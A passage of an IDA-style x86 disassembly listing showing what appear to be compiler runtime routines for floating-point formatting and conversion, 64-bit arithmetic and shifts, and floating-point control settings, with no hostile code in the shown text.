; ---------------------------------------------------------------------------

loc_411857:				; CODE XREF: sub_411830+21j
		mov	eax, edi

loc_411859:				; CODE XREF: sub_411830+25j
		cld
		pop	edi
		leave
		retn
sub_411830	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41185D	proc near		; CODE XREF: sub_410D74+15p

var_28		= byte ptr -28h
var_24		= byte ptr -24h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		mov	eax, dword_423064
		xor	eax, ebp
		mov	[ebp+var_4], eax
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		push	[ebp+arg_8]
		mov	edi, [ebp+arg_4]
		lea	ecx, [ebp+var_24]
		call	sub_402ADF
		lea	eax, [ebp+var_24]
		push	eax
		xor	ebx, ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	edi
		lea	eax, [ebp+var_28]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41279D
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_411D19
		add	esp, 28h
		test	byte ptr [ebp+var_14], 3
		jnz	short loc_4118DA
		cmp	eax, 1
		jnz	short loc_4118C5

loc_4118B4:				; CODE XREF: sub_41185D+87j
		cmp	[ebp+var_18], bl
		jz	short loc_4118C0
		mov	eax, [ebp+var_1C]
		and	dword ptr [eax+70h], 0FFFFFFFDh

loc_4118C0:				; CODE XREF: sub_41185D+5Aj
		push	3

loc_4118C2:				; CODE XREF: sub_41185D+7Bj
		pop	eax
		jmp	short loc_4118F4
; ---------------------------------------------------------------------------

loc_4118C5:				; CODE XREF: sub_41185D+55j
		cmp	eax, 2
		jnz	short loc_4118E6

loc_4118CA:				; CODE XREF: sub_41185D+81j
		cmp	[ebp+var_18], bl
		jz	short loc_4118D6
		mov	eax, [ebp+var_1C]
		and	dword ptr [eax+70h], 0FFFFFFFDh

loc_4118D6:				; CODE XREF: sub_41185D+70j
		push	4
		jmp	short loc_4118C2
; ---------------------------------------------------------------------------

loc_4118DA:				; CODE XREF: sub_41185D+50j
		test	byte ptr [ebp+var_14], 1
		jnz	short loc_4118CA
		test	byte ptr [ebp+var_14], 2
		jnz	short loc_4118B4

loc_4118E6:				; CODE XREF: sub_41185D+6Bj
		cmp	[ebp+var_18], bl
		jz	short loc_4118F2
		mov	eax, [ebp+var_1C]
		and	dword ptr [eax+70h], 0FFFFFFFDh

loc_4118F2:				; CODE XREF: sub_41185D+8Cj
		xor	eax, eax

loc_4118F4:				; CODE XREF: sub_41185D+66j
		mov	ecx, [ebp+var_4]
		pop	edi
		pop	esi
		xor	ecx, ebp
		pop	ebx
		call	sub_402AD0
		leave
		retn
sub_41185D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411903	proc near		; CODE XREF: sub_410D74+2Ep

var_28		= byte ptr -28h
var_24		= byte ptr -24h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		mov	eax, dword_423064
		xor	eax, ebp
		mov	[ebp+var_4], eax
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		push	[ebp+arg_8]
		mov	edi, [ebp+arg_4]
		lea	ecx, [ebp+var_24]
		call	sub_402ADF
		lea	eax, [ebp+var_24]
		push	eax
		xor	ebx, ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	edi
		lea	eax, [ebp+var_28]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41279D
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_41225B
		add	esp, 28h
		test	byte ptr [ebp+var_14], 3
		jnz	short loc_411980
		cmp	eax, 1
		jnz	short loc_41196B

loc_41195A:				; CODE XREF: sub_411903+87j
		cmp	[ebp+var_18], bl
		jz	short loc_411966
		mov	eax, [ebp+var_1C]
		and	dword ptr [eax+70h], 0FFFFFFFDh

loc_411966:				; CODE XREF: sub_411903+5Aj
		push	3

loc_411968:				; CODE XREF: sub_411903+7Bj
		pop	eax
		jmp	short loc_41199A
; ---------------------------------------------------------------------------

loc_41196B:				; CODE XREF: sub_411903+55j
		cmp	eax, 2
		jnz	short loc_41198C

loc_411970:				; CODE XREF: sub_411903+81j
		cmp	[ebp+var_18], bl
		jz	short loc_41197C
		mov	eax, [ebp+var_1C]
		and	dword ptr [eax+70h], 0FFFFFFFDh

loc_41197C:				; CODE XREF: sub_411903+70j
		push	4
		jmp	short loc_411968
; ---------------------------------------------------------------------------

loc_411980:				; CODE XREF: sub_411903+50j
		test	byte ptr [ebp+var_14], 1
		jnz	short loc_411970
		test	byte ptr [ebp+var_14], 2
		jnz	short loc_41195A

loc_41198C:				; CODE XREF: sub_411903+6Bj
		cmp	[ebp+var_18], bl
		jz	short loc_411998
		mov	eax, [ebp+var_1C]
		and	dword ptr [eax+70h], 0FFFFFFFDh

loc_411998:				; CODE XREF: sub_411903+8Cj
		xor	eax, eax

loc_41199A:				; CODE XREF: sub_411903+66j
		mov	ecx, [ebp+var_4]
		pop	edi
		pop	esi
		xor	ecx, ebp
		pop	ebx
		call	sub_402AD0
		leave
		retn
sub_411903	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4119A9	proc near		; CODE XREF: sub_410F71+96p
					; sub_4114C3+85p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_C]
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		xor	ebx, ebx
		cmp	esi, ebx
		push	edi
		mov	edi, [ecx+0Ch]
		jnz	short loc_4119DC

loc_4119BE:				; CODE XREF: sub_4119A9+36j
		call	sub_405B83
		push	16h
		pop	esi
		mov	[eax], esi

loc_4119C8:				; CODE XREF: sub_4119A9+59j
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		call	sub_4032F9
		add	esp, 14h
		mov	eax, esi
		jmp	loc_411A61
; ---------------------------------------------------------------------------

loc_4119DC:				; CODE XREF: sub_4119A9+13j
		cmp	[ebp+arg_4], ebx
		jbe	short loc_4119BE
		mov	edx, [ebp+arg_8]
		cmp	edx, ebx
		mov	[esi], bl
		jle	short loc_4119EE
		mov	eax, edx
		jmp	short loc_4119F0
; ---------------------------------------------------------------------------

loc_4119EE:				; CODE XREF: sub_4119A9+3Fj
		xor	eax, eax

loc_4119F0:				; CODE XREF: sub_4119A9+43j
		inc	eax
		cmp	[ebp+arg_4], eax
		ja	short loc_411A04
		call	sub_405B83
		push	22h
		pop	ecx
		mov	[eax], ecx
		mov	esi, ecx
		jmp	short loc_4119C8
; ---------------------------------------------------------------------------

loc_411A04:				; CODE XREF: sub_4119A9+4Bj
		cmp	edx, ebx
		mov	byte ptr [esi],	30h
		lea	eax, [esi+1]
		jle	short loc_411A28

loc_411A0E:				; CODE XREF: sub_4119A9+7Aj
		mov	cl, [edi]
		cmp	cl, bl
		jz	short loc_411A1A
		movsx	ecx, cl
		inc	edi
		jmp	short loc_411A1D
; ---------------------------------------------------------------------------

loc_411A1A:				; CODE XREF: sub_4119A9+69j
		push	30h
		pop	ecx

loc_411A1D:				; CODE XREF: sub_4119A9+6Fj
		mov	[eax], cl
		inc	eax
		dec	edx
		cmp	edx, ebx
		jg	short loc_411A0E
		mov	ecx, [ebp+arg_C]

loc_411A28:				; CODE XREF: sub_4119A9+63j
		cmp	edx, ebx
		mov	[eax], bl
		jl	short loc_411A40
		cmp	byte ptr [edi],	35h
		jl	short loc_411A40
		jmp	short loc_411A38
; ---------------------------------------------------------------------------

loc_411A35:				; CODE XREF: sub_4119A9+93j
		mov	byte ptr [eax],	30h

loc_411A38:				; CODE XREF: sub_4119A9+8Aj
		dec	eax
		cmp	byte ptr [eax],	39h
		jz	short loc_411A35
		inc	byte ptr [eax]

loc_411A40:				; CODE XREF: sub_4119A9+83j
					; sub_4119A9+88j
		cmp	byte ptr [esi],	31h
		jnz	short loc_411A4A
		inc	dword ptr [ecx+4]
		jmp	short loc_411A5F
; ---------------------------------------------------------------------------

loc_411A4A:				; CODE XREF: sub_4119A9+9Aj
		lea	edi, [esi+1]
		push	edi
		call	sub_4044E0
		inc	eax
		push	eax
		push	edi
		push	esi
		call	sub_407720
		add	esp, 10h

loc_411A5F:				; CODE XREF: sub_4119A9+9Fj
		xor	eax, eax

loc_411A61:				; CODE XREF: sub_4119A9+2Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4119A9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411A66	proc near		; CODE XREF: sub_411B21+24p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_4]
		movzx	eax, word ptr [edx+6]
		push	ebx
		mov	ecx, eax
		push	esi
		push	edi
		shr	ecx, 4
		and	eax, 8000h
		mov	edi, 7FFh
		and	ecx, edi
		mov	[ebp+arg_4], eax
		mov	eax, [edx+4]
		mov	edx, [edx]
		movzx	ebx, cx
		mov	esi, 80000000h
		and	eax, 0FFFFFh
		test	ebx, ebx
		mov	[ebp+var_4], esi
		jz	short loc_411AB4
		cmp	ebx, edi
		jz	short loc_411AAD
		add	ecx, 3C00h
		jmp	short loc_411AD5
; ---------------------------------------------------------------------------

loc_411AAD:				; CODE XREF: sub_411A66+3Dj
		mov	edi, 7FFFh
		jmp	short loc_411AD8
; ---------------------------------------------------------------------------

loc_411AB4:				; CODE XREF: sub_411A66+39j
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_411ACC
		cmp	edx, ebx
		jnz	short loc_411ACC
		mov	eax, [ebp+arg_0]
		mov	cx, word ptr [ebp+arg_4]
		mov	[eax+4], ebx
		mov	[eax], ebx
		jmp	short loc_411B18
; ---------------------------------------------------------------------------

loc_411ACC:				; CODE XREF: sub_411A66+52j
					; sub_411A66+56j
		add	ecx, 3C01h
		mov	[ebp+var_4], ebx

loc_411AD5:				; CODE XREF: sub_411A66+45j
		movzx	edi, cx

loc_411AD8:				; CODE XREF: sub_411A66+4Cj
		mov	ecx, edx
		shr	ecx, 15h
		shl	eax, 0Bh
		or	ecx, eax
		or	ecx, [ebp+var_4]
		mov	eax, [ebp+arg_0]
		shl	edx, 0Bh
		test	ecx, esi
		mov	[eax+4], ecx
		mov	[eax], edx
		jnz	short loc_411B13

loc_411AF4:				; CODE XREF: sub_411A66+ABj
		mov	ecx, [eax]
		mov	edx, [eax+4]
		mov	ebx, ecx
		add	edx, edx
		shr	ebx, 1Fh
		or	edx, ebx
		add	ecx, ecx
		add	edi, 0FFFFh
		test	edx, esi
		mov	[eax+4], edx
		mov	[eax], ecx
		jz	short loc_411AF4

loc_411B13:				; CODE XREF: sub_411A66+8Cj
		mov	ecx, [ebp+arg_4]
		or	ecx, edi

loc_411B18:				; CODE XREF: sub_411A66+64j
		pop	edi
		pop	esi
		mov	[eax+8], cx
		pop	ebx
		leave
		retn
sub_411A66	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411B21	proc near		; CODE XREF: sub_410F71+2Ap
					; sub_4114C3+2Ap ...

var_30		= dword	ptr -30h
var_2C		= word ptr -2Ch
var_2A		= byte ptr -2Ah
var_28		= byte ptr -28h
var_10		= byte ptr -10h
var_4		= dword	ptr -4
arg_0		= byte ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 30h
		mov	eax, dword_423064
		xor	eax, ebp
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_C]
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	esi
		mov	[ebp+var_30], eax
		push	edi
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_411A66
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_2C]
		push	eax
		push	0
		push	11h
		sub	esp, 0Ch
		lea	esi, [ebp+var_10]
		mov	edi, esp
		movsd
		movsd
		movsw
		call	sub_412E61
		mov	esi, [ebp+var_30]
		mov	[ebx+8], eax
		movsx	eax, [ebp+var_2A]
		mov	[ebx], eax
		movsx	eax, [ebp+var_2C]
		mov	[ebx+4], eax
		lea	eax, [ebp+var_28]
		push	eax
		push	[ebp+arg_10]
		push	esi
		call	sub_407A85
		add	esp, 24h
		test	eax, eax
		jz	short loc_411B9B
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		call	sub_4031FD
		add	esp, 14h

loc_411B9B:				; CODE XREF: sub_411B21+69j
		mov	ecx, [ebp+var_4]
		pop	edi
		mov	[ebx+0Ch], esi
		pop	esi
		mov	eax, ebx
		xor	ecx, ebp
		pop	ebx
		call	sub_402AD0
		leave
		retn
sub_411B21	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_411BB0	proc near		; CODE XREF: sub_41105D+2F7p
					; sub_41105D+31Dp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	edi
		push	esi
		push	ebp
		xor	edi, edi
		xor	ebp, ebp
		mov	eax, [esp+0Ch+arg_4]
		or	eax, eax
		jge	short loc_411BD4
		inc	edi
		inc	ebp
		mov	edx, [esp+0Ch+arg_0]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_4], eax
		mov	[esp+0Ch+arg_0], edx

loc_411BD4:				; CODE XREF: sub_411BB0+Dj
		mov	eax, [esp+0Ch+arg_C]
		or	eax, eax
		jge	short loc_411BF0
		inc	edi
		mov	edx, [esp+0Ch+arg_8]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_C], eax
		mov	[esp+0Ch+arg_8], edx

loc_411BF0:				; CODE XREF: sub_411BB0+2Aj
		or	eax, eax
		jnz	short loc_411C1C
		mov	ecx, [esp+0Ch+arg_8]
		mov	eax, [esp+0Ch+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+0Ch+arg_0]
		div	ecx
		mov	esi, eax
		mov	eax, ebx
		mul	[esp+0Ch+arg_8]
		mov	ecx, eax
		mov	eax, esi
		mul	[esp+0Ch+arg_8]
		add	edx, ecx
		jmp	short loc_411C63
; ---------------------------------------------------------------------------

loc_411C1C:				; CODE XREF: sub_411BB0+42j
		mov	ebx, eax
		mov	ecx, [esp+0Ch+arg_8]
		mov	edx, [esp+0Ch+arg_4]
		mov	eax, [esp+0Ch+arg_0]

loc_411C2A:				; CODE XREF: sub_411BB0+84j
		shr	ebx, 1
		rcr	ecx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ebx, ebx
		jnz	short loc_411C2A
		div	ecx
		mov	esi, eax
		mul	[esp+0Ch+arg_C]
		mov	ecx, eax
		mov	eax, [esp+0Ch+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_411C58
		cmp	edx, [esp+0Ch+arg_4]
		ja	short loc_411C58
		jb	short loc_411C61
		cmp	eax, [esp+0Ch+arg_0]
		jbe	short loc_411C61

loc_411C58:				; CODE XREF: sub_411BB0+98j
					; sub_411BB0+9Ej
		dec	esi
		sub	eax, [esp+0Ch+arg_8]
		sbb	edx, [esp+0Ch+arg_C]

loc_411C61:				; CODE XREF: sub_411BB0+A0j
					; sub_411BB0+A6j
		xor	ebx, ebx

loc_411C63:				; CODE XREF: sub_411BB0+6Aj
		sub	eax, [esp+0Ch+arg_0]
		sbb	edx, [esp+0Ch+arg_4]
		dec	ebp
		jns	short loc_411C75
		neg	edx
		neg	eax
		sbb	edx, 0

loc_411C75:				; CODE XREF: sub_411BB0+BCj
		mov	ecx, edx
		mov	edx, ebx
		mov	ebx, ecx
		mov	ecx, eax
		mov	eax, esi
		dec	edi
		jnz	short loc_411C89
		neg	edx
		neg	eax
		sbb	edx, 0

loc_411C89:				; CODE XREF: sub_411BB0+D0j
		pop	ebp
		pop	esi
		pop	edi
		retn	10h
sub_411BB0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_411C90	proc near		; CODE XREF: sub_41105D+1EAp
					; sub_41105D+23Ep ...
		cmp	cl, 40h
		jnb	short loc_411CAA
		cmp	cl, 20h
		jnb	short loc_411CA0
		shrd	eax, edx, cl
		shr	edx, cl
		retn
; ---------------------------------------------------------------------------

loc_411CA0:				; CODE XREF: sub_411C90+8j
		mov	eax, edx
		xor	edx, edx
		and	cl, 1Fh
		shr	eax, cl
		retn
; ---------------------------------------------------------------------------

loc_411CAA:				; CODE XREF: sub_411C90+3j
		xor	eax, eax
		xor	edx, edx
		retn
sub_411C90	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411CAF	proc near		; CODE XREF: sub_41171B+Ep

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+arg_4]
		and	eax, 0FFF7FFFFh
		and	ecx, eax
		test	ecx, 0FCF0FCE0h
		push	esi
		jz	short loc_411CF9
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		cmp	edi, esi
		jz	short loc_411CDD
		push	esi
		push	esi
		call	sub_413857
		pop	ecx
		pop	ecx
		mov	[edi], eax

loc_411CDD:				; CODE XREF: sub_411CAF+21j
		call	sub_405B83
		push	16h
		pop	edi
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		mov	[eax], edi
		call	sub_4032F9
		add	esp, 14h
		mov	eax, edi
		pop	edi
		jmp	short loc_411D16
; ---------------------------------------------------------------------------

loc_411CF9:				; CODE XREF: sub_411CAF+17j
		mov	esi, [ebp+arg_0]
		test	esi, esi
		push	eax
		push	[ebp+arg_4]
		jz	short loc_411D0D
		call	sub_413857
		mov	[esi], eax
		jmp	short loc_411D12
; ---------------------------------------------------------------------------

loc_411D0D:				; CODE XREF: sub_411CAF+53j
		call	sub_413857

loc_411D12:				; CODE XREF: sub_411CAF+5Cj
		pop	ecx
		pop	ecx
		xor	eax, eax

loc_411D16:				; CODE XREF: sub_411CAF+48j
		pop	esi
		pop	ebp
		retn
sub_411CAF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411D19	proc near		; CODE XREF: sub_41185D+44p

var_2C		= byte ptr -2Ch
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		mov	eax, [ebp+arg_0]
		movzx	ecx, word ptr [eax+0Ah]
		push	ebx
		mov	ebx, ecx
		and	ecx, 8000h
		mov	[ebp+var_14], ecx
		mov	ecx, [eax+6]
		mov	[ebp+var_20], ecx
		mov	ecx, [eax+2]
		movzx	eax, word ptr [eax]
		and	ebx, 7FFFh
		sub	ebx, 3FFFh
		shl	eax, 10h
		cmp	ebx, 0FFFFC001h
		push	edi
		mov	[ebp+var_1C], ecx
		mov	[ebp+var_18], eax
		jnz	short loc_411D83
		xor	ebx, ebx
		xor	eax, eax

loc_411D60:				; CODE XREF: sub_411D19+51j
		cmp	[ebp+eax*4+var_20], ebx
		jnz	short loc_411D73
		inc	eax
		cmp	eax, 3
		jl	short loc_411D60
		xor	eax, eax
		jmp	loc_412218
; ---------------------------------------------------------------------------

loc_411D73:				; CODE XREF: sub_411D19+4Bj
		xor	eax, eax
		lea	edi, [ebp+var_20]
		stosd
		stosd
		push	2
		stosd
		pop	eax
		jmp	loc_412218
; ---------------------------------------------------------------------------

loc_411D83:				; CODE XREF: sub_411D19+41j
		and	[ebp+arg_0], 0
		push	esi
		lea	esi, [ebp+var_20]
		lea	edi, [ebp+var_2C]
		movsd
		movsd
		movsd
		mov	esi, dword_424238
		dec	esi
		lea	ecx, [esi+1]
		mov	eax, ecx
		cdq
		and	edx, 1Fh
		add	eax, edx
		sar	eax, 5
		mov	edx, ecx
		and	edx, 8000001Fh
		mov	[ebp+var_10], ebx
		mov	[ebp+var_C], eax
		jns	short loc_411DBB
		dec	edx
		or	edx, 0FFFFFFE0h
		inc	edx

loc_411DBB:				; CODE XREF: sub_411D19+9Bj
		lea	edi, [ebp+eax*4+var_20]
		push	1Fh
		xor	eax, eax
		pop	ecx
		sub	ecx, edx
		inc	eax
		shl	eax, cl
		mov	[ebp+var_8], ecx
		test	[edi], eax
		jz	loc_411E61
		mov	eax, [ebp+var_C]
		or	edx, 0FFFFFFFFh
		shl	edx, cl
		not	edx
		test	[ebp+eax*4+var_20], edx
		jmp	short loc_411DE9
; ---------------------------------------------------------------------------

loc_411DE4:				; CODE XREF: sub_411D19+D6j
		cmp	[ebp+eax*4+var_20], 0

loc_411DE9:				; CODE XREF: sub_411D19+C9j
		jnz	short loc_411DF3
		inc	eax
		cmp	eax, 3
		jl	short loc_411DE4
		jmp	short loc_411E61
; ---------------------------------------------------------------------------

loc_411DF3:				; CODE XREF: sub_411D19:loc_411DE9j
		mov	eax, esi
		cdq
		push	1Fh
		pop	ecx
		and	edx, ecx
		add	eax, edx
		sar	eax, 5
		and	esi, 8000001Fh
		jns	short loc_411E0D
		dec	esi
		or	esi, 0FFFFFFE0h
		inc	esi

loc_411E0D:				; CODE XREF: sub_411D19+EDj
		and	[ebp+var_4], 0
		sub	ecx, esi
		xor	edx, edx
		inc	edx
		shl	edx, cl
		lea	ecx, [ebp+eax*4+var_20]
		mov	esi, [ecx]
		add	esi, edx
		mov	[ebp+arg_0], esi
		mov	esi, [ecx]
		cmp	[ebp+arg_0], esi
		jb	short loc_411E4C
		cmp	[ebp+arg_0], edx
		jmp	short loc_411E4A
; ---------------------------------------------------------------------------

loc_411E2F:				; CODE XREF: sub_411D19+143j
		test	ecx, ecx
		jz	short loc_411E5E
		and	[ebp+var_4], 0
		lea	ecx, [ebp+eax*4+var_20]
		mov	edx, [ecx]
		lea	esi, [edx+1]
		cmp	esi, edx
		mov	[ebp+arg_0], esi
		jb	short loc_411E4C
		cmp	esi, 1

loc_411E4A:				; CODE XREF: sub_411D19+114j
		jnb	short loc_411E53

loc_411E4C:				; CODE XREF: sub_411D19+10Fj
					; sub_411D19+12Cj
		mov	[ebp+var_4], 1

loc_411E53:				; CODE XREF: sub_411D19:loc_411E4Aj
		dec	eax
		mov	edx, [ebp+arg_0]
		mov	[ecx], edx
		mov	ecx, [ebp+var_4]
		jns	short loc_411E2F

loc_411E5E:				; CODE XREF: sub_411D19+118j
		mov	[ebp+arg_0], ecx

loc_411E61:				; CODE XREF: sub_411D19+B5j
					; sub_411D19+D8j
		mov	ecx, [ebp+var_8]
		or	eax, 0FFFFFFFFh
		shl	eax, cl
		and	[edi], eax
		mov	eax, [ebp+var_C]
		inc	eax
		cmp	eax, 3
		jge	short loc_411E81
		push	3
		pop	ecx
		lea	edi, [ebp+eax*4+var_20]
		sub	ecx, eax
		xor	eax, eax
		rep stosd

loc_411E81:				; CODE XREF: sub_411D19+159j
		cmp	[ebp+arg_0], 0
		jz	short loc_411E88
		inc	ebx

loc_411E88:				; CODE XREF: sub_411D19+16Cj
		mov	eax, dword_424234
		mov	ecx, eax
		sub	ecx, dword_424238
		cmp	ebx, ecx
		jge	short loc_411EA6
		xor	eax, eax
		lea	edi, [ebp+var_20]
		stosd
		stosd
		stosd
		jmp	loc_4120B3
; ---------------------------------------------------------------------------

loc_411EA6:				; CODE XREF: sub_411D19+17Ej
		cmp	ebx, eax
		jg	loc_4120BD
		sub	eax, [ebp+var_10]
		lea	esi, [ebp+var_2C]
		mov	ecx, eax
		lea	edi, [ebp+var_20]
		movsd
		cdq
		and	edx, 1Fh
		add	eax, edx
		movsd
		mov	edx, ecx
		sar	eax, 5
		and	edx, 8000001Fh
		movsd
		jns	short loc_411ED4
		dec	edx
		or	edx, 0FFFFFFE0h
		inc	edx

loc_411ED4:				; CODE XREF: sub_411D19+1B4j
		and	[ebp+var_C], 0
		and	[ebp+arg_0], 0
		or	edi, 0FFFFFFFFh
		mov	ecx, edx
		shl	edi, cl
		mov	[ebp+var_4], 20h
		sub	[ebp+var_4], edx
		not	edi

loc_411EEF:				; CODE XREF: sub_411D19+201j
		mov	ebx, [ebp+arg_0]
		lea	ebx, [ebp+ebx*4+var_20]
		mov	esi, [ebx]
		mov	ecx, esi
		and	ecx, edi
		mov	[ebp+var_10], ecx
		mov	ecx, edx
		shr	esi, cl
		mov	ecx, [ebp+var_4]
		or	esi, [ebp+var_C]
		mov	[ebx], esi
		mov	esi, [ebp+var_10]
		shl	esi, cl
		inc	[ebp+arg_0]
		cmp	[ebp+arg_0], 3
		mov	[ebp+var_C], esi
		jl	short loc_411EEF
		mov	esi, eax
		push	2
		shl	esi, 2
		lea	ecx, [ebp+var_18]
		pop	edx
		sub	ecx, esi

loc_411F29:				; CODE XREF: sub_411D19+227j
		cmp	edx, eax
		jl	short loc_411F35
		mov	esi, [ecx]
		mov	[ebp+edx*4+var_20], esi
		jmp	short loc_411F3A
; ---------------------------------------------------------------------------

loc_411F35:				; CODE XREF: sub_411D19+212j
		and	[ebp+edx*4+var_20], 0

loc_411F3A:				; CODE XREF: sub_411D19+21Aj
		dec	edx
		sub	ecx, 4
		test	edx, edx
		jge	short loc_411F29
		mov	esi, dword_424238
		dec	esi
		lea	ecx, [esi+1]
		mov	eax, ecx
		cdq
		and	edx, 1Fh
		add	eax, edx
		sar	eax, 5
		mov	edx, ecx
		and	edx, 8000001Fh
		mov	[ebp+var_C], eax
		jns	short loc_411F69
		dec	edx
		or	edx, 0FFFFFFE0h
		inc	edx

loc_411F69:				; CODE XREF: sub_411D19+249j
		push	1Fh
		pop	ecx
		sub	ecx, edx
		xor	edx, edx
		inc	edx
		shl	edx, cl
		lea	ebx, [ebp+eax*4+var_20]
		mov	[ebp+var_10], ecx
		test	[ebx], edx
		jz	loc_412004
		or	edx, 0FFFFFFFFh
		shl	edx, cl
		not	edx
		test	[ebp+eax*4+var_20], edx
		jmp	short loc_411F94
; ---------------------------------------------------------------------------

loc_411F8F:				; CODE XREF: sub_411D19+281j
		cmp	[ebp+eax*4+var_20], 0

loc_411F94:				; CODE XREF: sub_411D19+274j
		jnz	short loc_411F9E
		inc	eax
		cmp	eax, 3
		jl	short loc_411F8F
		jmp	short loc_412004
; ---------------------------------------------------------------------------

loc_411F9E:				; CODE XREF: sub_411D19:loc_411F94j
		mov	eax, esi
		cdq
		push	1Fh
		pop	ecx
		and	edx, ecx
		add	eax, edx
		sar	eax, 5
		and	esi, 8000001Fh
		jns	short loc_411FB8
		dec	esi
		or	esi, 0FFFFFFE0h
		inc	esi

loc_411FB8:				; CODE XREF: sub_411D19+298j
		and	[ebp+arg_0], 0
		xor	edx, edx
		sub	ecx, esi
		inc	edx
		shl	edx, cl
		lea	ecx, [ebp+eax*4+var_20]
		mov	esi, [ecx]
		lea	edi, [esi+edx]
		cmp	edi, esi
		jb	short loc_411FD4
		cmp	edi, edx
		jnb	short loc_411FDB

loc_411FD4:				; CODE XREF: sub_411D19+2B5j
		mov	[ebp+arg_0], 1

loc_411FDB:				; CODE XREF: sub_411D19+2B9j
		mov	[ecx], edi
		mov	ecx, [ebp+arg_0]
		jmp	short loc_412001
; ---------------------------------------------------------------------------

loc_411FE2:				; CODE XREF: sub_411D19+2E9j
		test	ecx, ecx
		jz	short loc_412004
		lea	ecx, [ebp+eax*4+var_20]
		mov	edx, [ecx]
		lea	esi, [edx+1]
		xor	edi, edi
		cmp	esi, edx
		jb	short loc_411FFA
		cmp	esi, 1
		jnb	short loc_411FFD

loc_411FFA:				; CODE XREF: sub_411D19+2DAj
		xor	edi, edi
		inc	edi

loc_411FFD:				; CODE XREF: sub_411D19+2DFj
		mov	[ecx], esi
		mov	ecx, edi

loc_412001:				; CODE XREF: sub_411D19+2C7j
		dec	eax
		jns	short loc_411FE2

loc_412004:				; CODE XREF: sub_411D19+263j
					; sub_411D19+283j ...
		mov	ecx, [ebp+var_10]
		or	eax, 0FFFFFFFFh
		shl	eax, cl
		and	[ebx], eax
		mov	eax, [ebp+var_C]
		inc	eax
		cmp	eax, 3
		jge	short loc_412024
		push	3
		pop	ecx
		lea	edi, [ebp+eax*4+var_20]
		sub	ecx, eax
		xor	eax, eax
		rep stosd

loc_412024:				; CODE XREF: sub_411D19+2FCj
		mov	ecx, dword_42423C
		inc	ecx
		mov	eax, ecx
		cdq
		and	edx, 1Fh
		add	eax, edx
		mov	edx, ecx
		sar	eax, 5
		and	edx, 8000001Fh
		jns	short loc_412045
		dec	edx
		or	edx, 0FFFFFFE0h
		inc	edx

loc_412045:				; CODE XREF: sub_411D19+325j
		and	[ebp+var_C], 0
		and	[ebp+arg_0], 0
		or	edi, 0FFFFFFFFh
		mov	ecx, edx
		shl	edi, cl
		mov	[ebp+var_4], 20h
		sub	[ebp+var_4], edx
		not	edi

